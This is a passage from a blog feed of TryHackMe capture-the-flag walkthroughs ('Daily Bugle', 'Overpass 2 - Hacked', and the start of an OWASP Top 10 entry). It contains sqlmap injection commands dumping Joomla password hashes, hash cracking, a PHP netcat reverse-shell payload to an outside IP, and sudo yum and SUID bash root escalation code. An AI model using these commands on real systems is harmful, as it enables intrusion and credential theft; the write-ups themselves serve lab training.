<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-A</span> 10.10.250.153
Starting Nmap 7.94 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-03-05 11:33 IST
Nmap scan report <span class="k">for </span>10.10.250.153
Host is up <span class="o">(</span>0.18s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 997 closed tcp ports <span class="o">(</span>conn-refused<span class="o">)</span>
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 <span class="o">(</span>protocol 2.0<span class="o">)</span>
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 <span class="o">(</span>RSA<span class="o">)</span>
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d <span class="o">(</span>ECDSA<span class="o">)</span>
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp   open  http    Apache httpd 2.4.6 <span class="o">((</span>CentOS<span class="o">)</span> PHP/5.6.40<span class="o">)</span>
|_http-server-header: Apache/2.4.6 <span class="o">(</span>CentOS<span class="o">)</span> PHP/5.6.40
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp open  mysql   MariaDB <span class="o">(</span>unauthorized<span class="o">)</span>

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>38.97 seconds
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the Joomla version?</code> Answer <code class="language-plaintext highlighter-rouge">3.7.0</code>
Got this details using OWASP joomscan by Mohammad Reza Espargham , Ali Razmjoo.
Command used: <code class="language-plaintext highlighter-rouge">joomscan  -u http://10.10.250.153/</code></li>
  <li>Using SearchSploit by exploitDB gives us SQL injection exploits on this joomla CMS version.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit joomla 3.7.0
<span class="nt">----------------------------------------------</span> <span class="nt">---------------------------------</span>
 Exploit Title                                |  Path
<span class="nt">----------------------------------------------</span> <span class="nt">---------------------------------</span>
Joomla! 3.7.0 - <span class="s1">'com_fields'</span> SQL Injection    | php/webapps/42033.txt
Joomla! Component Easydiscuss &lt; 4.0.21 - Cros | php/webapps/43488.txt
<span class="nt">----------------------------------------------</span> <span class="nt">---------------------------------</span>
Shellcodes: No Results

</code></pre></div></div>

<ul>
  <li>After some reasearch on the exploit https://www.exploit-db.com/exploits/42033 and using some commands in SQLMap,
At first we crafted a command to begin SQL injection <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E</code></li>
  <li>Then crafted a SQLMap command to get db names <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E --dbs</code> and got a database named <code class="language-plaintext highlighter-rouge">joomla</code></li>
  <li>Then crafted a command to table names on DB <code class="language-plaintext highlighter-rouge">joomla</code> command <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E -D joomla --tables</code> and we will get a table named <code class="language-plaintext highlighter-rouge">#__users</code></li>
  <li>To extract the table column names, we can use this command, <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E -D joomla -T "#__users" --columns</code> it will prompt for bruteforcing existing column names, we can find some column names like <code class="language-plaintext highlighter-rouge">id</code>, <code class="language-plaintext highlighter-rouge">username</code>, <code class="language-plaintext highlighter-rouge">email</code>, <code class="language-plaintext highlighter-rouge">password</code> etc.</li>
  <li>Then, crafted a command to get password hash of users. <code class="language-plaintext highlighter-rouge">sqlmap -u "http://10.10.250.153/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --threads=10 --dbms=MySQL --technique=E -D joomla -T "#__users" -C id,name,username,email,password --dump</code>
It shows result like that,</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-----+------------+----------+---------------------+--------------------------------------------------------------+
| <span class="nb">id</span>  | name       | username | email               | password                                                     |
+-----+------------+----------+---------------------+--------------------------------------------------------------+
| 811 | Super User | jonah    | jonah@thm.com | <span class="nv">$2y$10$0veO</span>/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm |
+-----+------------+----------+---------------------+--------------------------------------------------------------+
</code></pre></div></div>

<ul>
  <li>We used <code class="language-plaintext highlighter-rouge">hashid</code> to detect hash type and it could be <code class="language-plaintext highlighter-rouge">bcrypt</code>.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashid <span class="s1">'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm'</span>
Analyzing <span class="s1">'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm'</span>
<span class="o">[</span>+] Blowfish<span class="o">(</span>OpenBSD<span class="o">)</span> 
<span class="o">[</span>+] Woltlab Burning Board 4.x 
<span class="o">[</span>+] bcrypt
</code></pre></div></div>

<ul>
  <li>Now we can use <code class="language-plaintext highlighter-rouge">john the ripper</code> to decrypt the hash, using <code class="language-plaintext highlighter-rouge">rockyou.txt</code> wordlist.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john hash.txt <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt <span class="nt">--format</span><span class="o">=</span>bcrypt
Using default input encoding: UTF-8
Loaded 1 password <span class="nb">hash</span> <span class="o">(</span>bcrypt <span class="o">[</span>Blowfish 32/64 X3]<span class="o">)</span>
Cost 1 <span class="o">(</span>iteration count<span class="o">)</span> is 1024 <span class="k">for </span>all loaded hashes
Will run 2 OpenMP threads
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
<span class="k">***********</span>   <span class="o">(</span>?<span class="o">)</span>
1g 0:00:09:27 DONE <span class="o">(</span>2020-06-14 17:12<span class="o">)</span> 0.001762g/s 82.55p/s 82.55c/s 82.55C/s sweetsmile..speciala
Use the <span class="s2">"--show"</span> option to display all of the cracked passwords reliably
Session completed. 
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is Jonah's cracked password?</code> Answer <code class="language-plaintext highlighter-rouge">spiderman123</code></li>
  <li>Now we can login using username <code class="language-plaintext highlighter-rouge">jonah</code> and password <code class="language-plaintext highlighter-rouge">spiderman123</code> on http://10.10.250.153/administrator/.</li>
  <li>Now just goto <code class="language-plaintext highlighter-rouge">Extensions</code> &gt; <code class="language-plaintext highlighter-rouge">Templates</code> &gt; <code class="language-plaintext highlighter-rouge">Templates</code> and select <code class="language-plaintext highlighter-rouge">Beez3</code> and edit the <code class="language-plaintext highlighter-rouge">index.php</code> file to get reverse shell.</li>
  <li>Now started  <code class="language-plaintext highlighter-rouge">netcat</code> with <code class="language-plaintext highlighter-rouge">nc -lvnp 1234</code> and replaced the code in <code class="language-plaintext highlighter-rouge">index.php</code> with pentestmonkey shell with own ip port and save.</li>
  <li>Opening http://10.10.250.153/templates/beez3/index.php will give shell.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-nlvp</span> 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.250.153 56764
Linux dailybugle 3.10.0-1062.el7.x86_64 <span class="c">#1 SMP Wed Aug 7 18:08:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux</span>
 04:23:12 up  5:27,  0 <span class="nb">users</span>,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
<span class="nv">uid</span><span class="o">=</span>48<span class="o">(</span>apache<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>48<span class="o">(</span>apache<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>48<span class="o">(</span>apache<span class="o">)</span>
</code></pre></div></div>

<ul>
  <li>We can see only user named <code class="language-plaintext highlighter-rouge">jjameson</code> with command <code class="language-plaintext highlighter-rouge">ls /home</code>.</li>
  <li>After some digging we got some password <code class="language-plaintext highlighter-rouge">*************</code> inside <code class="language-plaintext highlighter-rouge">/var/www/html/configuration.php</code> using <code class="language-plaintext highlighter-rouge">cat /var/www/html/configuration.php</code>.</li>
  <li>So used the password to login ssh as user <code class="language-plaintext highlighter-rouge">jjameson</code> and got the flag
```bash ssh jjameson@10.10.250.153</li>
</ul>

<p>The authenticity of host ‘10.10.250.153 (10.10.250.153)’ can’t be established.
ED25519 key fingerprint is SHA256:Gvd5jH4bP7HwPyB+lGcqZ+NhGxa7MKX4wXeWBvcBbBY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ‘10.10.250.153’ (ED25519) to the list of known hosts.
jjameson@10.10.250.153’s password: 
Last login: Tue Mar  5 04:27:31 2024
[jjameson@dailybugle ~]$ cat /home/jjameson/user.txt
<strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong>**</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
- Question `What is the user flag?` Answer `**************************`
- Using `sudo -l` command shows `/usr/bin/yum`.

```bash
sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum
</code></pre></div></div>

<ul>
  <li>Lets follow https://gtfobins.github.io/gtfobins/yum/ sudo exploit to get root.</li>
  <li>Just copy pasting given commands in <code class="language-plaintext highlighter-rouge">b</code> will upgrade ssh to <code class="language-plaintext highlighter-rouge">root</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">TF</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span> <span class="nt">-d</span><span class="si">)</span>
<span class="nb">cat</span> <span class="o">&gt;</span><span class="nv">$TF</span>/x<span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
[main]
plugins=1
pluginpath=</span><span class="nv">$TF</span><span class="sh">
pluginconfpath=</span><span class="nv">$TF</span><span class="sh">
</span><span class="no">EOF

</span><span class="nb">cat</span> <span class="o">&gt;</span><span class="nv">$TF</span>/y.conf<span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
[main]
enabled=1
</span><span class="no">EOF

</span><span class="nb">cat</span> <span class="o">&gt;</span><span class="nv">$TF</span>/y.py<span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
</span><span class="no">EOF

</span><span class="nb">sudo </span>yum <span class="nt">-c</span> <span class="nv">$TF</span>/x <span class="nt">--enableplugin</span><span class="o">=</span>y
</code></pre></div></div>

<ul>
  <li>So typing <code class="language-plaintext highlighter-rouge">cat /root/root.txt</code> will give us root flag.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sh-4.2# <span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
sh-4.2# <span class="nb">cat</span> /root/root.txt
<span class="k">******************************</span>
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the root flag?</code> Answer <code class="language-plaintext highlighter-rouge">**************************</code></li>
</ul>

<h2 id="credits">Credits</h2>

<ul>
  <li>We already completed the machine, just click on completed.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><category term="thm" /><category term="ctf" /><category term="nmap" /><category term="machine" /><category term="blue" /><category term="rce" /><summary type="html"><![CDATA[TryHackMe Daily Bugle walkthrough — exploiting a vulnerable Joomla instance with Metasploit and cracking a root password with John the Ripper.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Overpass 2 - Hacked | TryHackMe Walkthrough</title><link href="https://zishanhack.com/blog/thm/overpass2hacked/" rel="alternate" type="text/html" title="Overpass 2 - Hacked | TryHackMe Walkthrough" /><published>2024-09-01T00:00:00+05:30</published><updated>2024-09-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/overpass2hacked</id><content type="html" xml:base="https://zishanhack.com/blog/thm/overpass2hacked/"><![CDATA[<h2 id="overpass-2---hacked-tryhackme-walkthrough">Overpass 2 - Hacked: TryHackMe Walkthrough</h2>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#forensics---analyse-the-pcap">Forensics - Analyse the PCAP</a></li>
  <li><a href="#research---analyse-the-code">Research - Analyse the code</a></li>
  <li><a href="#attack---get-back-in">Attack - Get back in!</a></li>
</ul>

<p>Room: <a href="https://thm.com/room/overpass2hacked">https://thm.com/room/overpass2hacked</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>Wireshark https://www.wireshark.org/download.html</li>
  <li>Strings</li>
  <li>John The Ripper https://www.openwall.com/john/</li>
  <li>hashcat https://hashcat.net/hashcat/</li>
</ul>

<h2 id="forensics---analyse-the-pcap">Forensics - Analyse the PCAP</h2>

<ul>
  <li>Download <code class="language-plaintext highlighter-rouge">overpass2.pcapng</code>.</li>
  <li>Check and match <code class="language-plaintext highlighter-rouge">md5sum</code> of the file to verify file.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">md5sum </span>overpass2.pcapng 
11c3b2e9221865580295bc662c35c6dc  overpass2.pcapng
</code></pre></div></div>

<ul>
  <li>We can use <code class="language-plaintext highlighter-rouge">wireshark</code> and <code class="language-plaintext highlighter-rouge">follow TCP streams</code> of suspicious streams. But, I used <code class="language-plaintext highlighter-rouge">strings overpass2.pcapng</code>.</li>
  <li>With strings we can see everything in plaintext. There is a request to link on directory <code class="language-plaintext highlighter-rouge">/development/upload.php</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What was the URL of the page they used to upload a reverse shell?</code> Answer <code class="language-plaintext highlighter-rouge">/development/</code>.</li>
  <li>With same method we can get the payload <code class="language-plaintext highlighter-rouge">&lt;?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.170.145 4242 &gt;/tmp/f")?&gt;</code>. You can check it by scrolling or simply use <code class="language-plaintext highlighter-rouge">strings overpass2.pcapng |grep "php exec"</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What payload did the attacker use to gain access?</code> Answer <code class="language-plaintext highlighter-rouge">exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.170.145 4242 &gt;/tmp/f")</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What password did the attacker use to privesc?</code> Answer <code class="language-plaintext highlighter-rouge">whene************tant</code>. You can manually scan strings result to see the password.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How did the attacker establish persistence?</code> Answer <code class="language-plaintext highlighter-rouge">https://github.com/NinjaJc01/ssh-backdoor</code>. With same manual scrolling will work here.</li>
  <li>We can see <code class="language-plaintext highlighter-rouge">cat /etc/shadow</code> command and it’s result inside <code class="language-plaintext highlighter-rouge">strings</code> output. We can simply save it in a file named shadow.</li>
  <li>Then we need to download <code class="language-plaintext highlighter-rouge">fasttrack</code> wordlist as instructed using command <code class="language-plaintext highlighter-rouge">wget https://raw.githubusercontent.com/drtychai/wordlists/master/fasttrack.txt</code>.</li>
  <li>Then we can run john to check.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john <span class="nt">--wordlist</span><span class="o">=</span>fasttrack.txt shadow 
Loaded 5 password hashes with 5 different salts <span class="o">(</span>crypt, generic crypt<span class="o">(</span>3<span class="o">)</span> <span class="o">[</span>?/64]<span class="o">)</span>
Will run 8 OpenMP threads
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
se<span class="k">*****</span>y3        <span class="o">(</span>paradox<span class="o">)</span>
ab<span class="k">***</span>23          <span class="o">(</span>szymex<span class="o">)</span>
s<span class="k">****</span>t12         <span class="o">(</span>bee<span class="o">)</span>
1<span class="k">***</span>2wsx         <span class="o">(</span>muirland<span class="o">)</span>
4g 0:00:00:04 100% 0.8113g/s 45.03p/s 187.4c/s 187.4C/s 2003..starwars
Use the <span class="s2">"--show"</span> option to display all of the cracked passwords reliably
Session completed
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Using the fasttrack wordlist, how many of the system passwords were crackable?</code> Answer <code class="language-plaintext highlighter-rouge">4</code></li>
</ul>

<h2 id="research---analyse-the-code">Research - Analyse the code</h2>

<ul>
  <li>We have the backdoor link <code class="language-plaintext highlighter-rouge">https://github.com/NinjaJc01/ssh-backdoor</code>. We can find <code class="language-plaintext highlighter-rouge">hash</code> and <code class="language-plaintext highlighter-rouge">salt</code> details inside code. <code class="language-plaintext highlighter-rouge">https://raw.githubusercontent.com/NinjaJc01/ssh-backdoor/master/main.go</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What's the default hash for the backdoor?</code> 
Answer <code class="language-plaintext highlighter-rouge">bdd04d9bb7621687f5df9001f******2d7d8391dfc885d0e9b68acd01fc2170e3</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What's the hardcoded salt for the backdoor?</code>
Answer <code class="language-plaintext highlighter-rouge">1c362db832f3f864c8c2fe05f2002a05</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What was the hash that the attacker used? - go back to the PCAP for this!</code> 
Answer <code class="language-plaintext highlighter-rouge">6d05358f090eea56a238af******19292cbfe0b5e98ad1fec71bed</code>. We can check it manually inside <code class="language-plaintext highlighter-rouge">strings</code> output. By using <code class="language-plaintext highlighter-rouge">strings overpass2.pcapng |grep "backdoor -a"</code> we can directly find the output.</li>
  <li>As we can find in the backdoor code that it is <code class="language-plaintext highlighter-rouge">sha512</code>. So we can decode it using <code class="language-plaintext highlighter-rouge">hashcat</code>.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">-m</span> 1710 <span class="s2">"6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05"</span> <span class="nt">--force</span> /opt/wordlist/rockyou.txt <span class="nt">--quiet</span>
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05:no<span class="k">******</span>6
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">Crack the hash using rockyou and a cracking tool of your choice. What's the password?</code> Answer <code class="language-plaintext highlighter-rouge">n********6</code></li>
</ul>

<h2 id="attack---get-back-in">Attack - Get back in!</h2>

<ul>
  <li>Start Machine to get IP.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">The attacker defaced the website. What message did they leave as a heading?</code> Answer <code class="language-plaintext highlighter-rouge">H4ck3d by CooctusClan</code>. Manually checking strings output for downloading deface page will show this. We can also use this command <code class="language-plaintext highlighter-rouge">strings overpass2.pcapng |grep "H4ck3d"</code>. Or simply opening the ip in browser will show this heading.</li>
  <li>We have repeat attackers steps. Now we can login to the ssh port 2222 opened by the backdoor as we saw in <code class="language-plaintext highlighter-rouge">strings</code> output. We already have username <code class="language-plaintext highlighter-rouge">james</code> and can use cracked password. We need to use <code class="language-plaintext highlighter-rouge">-oHostKeyAlgorithms=+ssh-rsa</code> to get ssh as there is an error.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-p</span> 2222 james@10.10.136.126
Unable to negotiate with 10.10.136.126 port 2222: no matching host key <span class="nb">type </span>found. Their offer: ssh-rsa
<span class="nv">$ </span>ssh <span class="nt">-oHostKeyAlgorithms</span><span class="o">=</span>+ssh-rsa james@10.10.136.126 <span class="nt">-p</span> 2222
The authenticity of host <span class="s1">'[10.10.136.126]:2222 ([10.10.136.126]:2222)'</span> can<span class="s1">'t be established.
RSA key fingerprint is SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span><span class="o">[</span>10.10.136.126]:2222<span class="s1">' (RSA) to the list of known hosts.
james@10.10.136.126'</span>s password: <span class="k">*******</span>
To run a <span class="nb">command </span>as administrator <span class="o">(</span>user <span class="s2">"root"</span><span class="o">)</span>, use <span class="s2">"sudo &lt;command&gt;"</span><span class="nb">.</span>
See <span class="s2">"man sudo_root"</span> <span class="k">for </span>details.
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What's the user flag?</code> Answer <code class="language-plaintext highlighter-rouge">thm{****************}</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james@overpass-production:/home/james/ssh-backdoor<span class="nv">$ </span><span class="nb">cat</span> /home/james/user.txt
thm<span class="o">{</span><span class="k">****************</span><span class="o">}</span>
</code></pre></div></div>

<ul>
  <li>By using SUID find command <code class="language-plaintext highlighter-rouge">find . -perm /4000</code> we got a unusual file <code class="language-plaintext highlighter-rouge">/home/james/.suid_bash</code>. We can get suid exploit for it here https://gtfobins.github.io/gtfobins/bash/#suid</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What's the root flag?</code> Answer <code class="language-plaintext highlighter-rouge">thm{***************************}</code></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>james@overpass-production:/home/james/ssh-backdoor<span class="nv">$ </span>/home/james/.suid_bash <span class="nt">-p</span>
.suid_bash-4.4# <span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>james<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>james<span class="o">)</span> <span class="nv">euid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">egid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,24<span class="o">(</span>cdrom<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>,30<span class="o">(</span>dip<span class="o">)</span>,46<span class="o">(</span>plugdev<span class="o">)</span>,108<span class="o">(</span>lxd<span class="o">)</span>,1000<span class="o">(</span>james<span class="o">)</span>
.suid_bash-4.4# <span class="nb">cat</span> /root/root.txt 
thm<span class="o">{</span><span class="k">***************************</span><span class="o">}</span>
</code></pre></div></div>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><category term="wireshark" /><category term="john" /><category term="hashcat" /><category term="ssh-backdoor" /><category term="privilege-escalation" /><category term="thm" /><category term="ctf" /><summary type="html"><![CDATA[TryHackMe Overpass 2 walkthrough — analyzing a pcap capture to find a backdoor SSH connection, then privilege escalation via a custom setuid binary.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Owasp Top 10 - TryHackMe room to learn OWASP Top 10 2021</title><link href="https://zishanhack.com/blog/thm/owasptop10/" rel="alternate" type="text/html" title="Owasp Top 10 - TryHackMe room to learn OWASP Top 10 2021" /><published>2024-09-01T00:00:00+05:30</published><updated>2024-09-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/owasptop10</id><content type="html" xml:base="https://zishanhack.com/blog/thm/owasptop10/"><![CDATA[<h2 id="owasp-top-10">Owasp Top 10</h2>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#accessing-machines">Accessing machines</a></li>
  <li><a href="#severity-1-injection">[Severity 1] Injection</a></li>
  <li><a href="#severity-1-os-command-injection">[Severity 1] OS Command Injection</a></li>
  <li><a href="#severity-1-command-injection-practical">[Severity 1] Command Injection Practical</a></li>
  <li><a href="#severity-2-broken-authentication">[Severity 2] Broken Authentication</a></li>
  <li><a href="#severity-2-broken-authentication-practical">[Severity 2] Broken Authentication Practical</a></li>
  <li><a href="#severity-3-sensitive-data-exposure-introduction">[Severity 3] Sensitive Data Exposure (Introduction)</a></li>
  <li><a href="#severity-3-sensitive-data-exposure-supporting-material-1">[Severity 3] Sensitive Data Exposure (Supporting Material 1)</a></li>
  <li><a href="#severity-3-sensitive-data-exposure-supporting-material-2">[Severity 3] Sensitive Data Exposure (Supporting Material 2)</a></li>
  <li><a href="#severity-3-sensitive-data-exposure-challenge">[Severity 3] Sensitive Data Exposure (Challenge)</a></li>
  <li><a href="#severity-4-xml-external-entity">[Severity 4] XML External Entity</a></li>
  <li><a href="#severity-4-xml-external-entity---extensible-markup-language">[Severity 4] XML External Entity - eXtensible Markup Language</a></li>
  <li><a href="#severity-4-xml-external-entity---dtd">[Severity 4] XML External Entity - DTD</a></li>
  <li><a href="#severity-4-xml-external-entity---xxe-payload">[Severity 4] XML External Entity - XXE Payload</a></li>
  <li><a href="#severity-4-xml-external-entity---exploiting">[Severity 4] XML External Entity - Exploiting</a></li>
  <li><a href="#severity-5-broken-access-control">[Severity 5] Broken Access Control</a></li>
  <li><a href="#severity-5-broken-access-control-idor-challenge">[Severity 5] Broken Access Control (IDOR Challenge)</a></li>
  <li><a href="#severity-6-security-misconfiguration">[Severity 6] Security Misconfiguration</a></li>
  <li><a href="#severity-7-cross-site-scripting">[Severity 7] Cross-site Scripting</a></li>
  <li><a href="#severity-8-insecure-deserialization">[Severity 8] Insecure Deserialization</a></li>
  <li><a href="#severity-8-insecure-deserialization---objects">[Severity 8] Insecure Deserialization - Objects</a></li>
  <li><a href="#severity-8-insecure-deserialization---deserialization">[Severity 8] Insecure Deserialization - Deserialization</a></li>
  <li><a href="#severity-8-insecure-deserialization---cookies">[Severity 8] Insecure Deserialization - Cookies</a></li>
  <li><a href="#severity-8-insecure-deserialization---cookies-practical">[Severity 8] Insecure Deserialization - Cookies Practical</a></li>
  <li><a href="#severity-8-insecure-deserialization---code-execution">[Severity 8] Insecure Deserialization - Code Execution</a></li>
  <li><a href="#severity-9-components-with-known-vulnerabilities---intro">[Severity 9] Components With Known Vulnerabilities - Intro</a></li>
  <li><a href="#severity-9-components-with-known-vulnerabilities---exploit">[Severity 9] Components With Known Vulnerabilities - Exploit</a></li>
  <li><a href="#severity-9-components-with-known-vulnerabilities---lab">[Severity 9] Components With Known Vulnerabilities - Lab</a></li>
  <li><a href="#severity-10-insufficient-logging-and-monitoring">[Severity 10] Insufficient Logging and Monitoring</a></li>
  <li><a href="#what-next">What Next?</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/r/room/owasptop10">https://thm.com/r/room/owasptop10</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$$$$$$</span><span class="se">\ </span> <span class="nv">$$</span><span class="se">\ </span>     <span class="nv">$$</span><span class="se">\ </span> <span class="nv">$$$$$$</span><span class="se">\ </span>  <span class="nv">$$$$$$</span><span class="se">\ </span> <span class="nv">$$$$$$$\</span>  
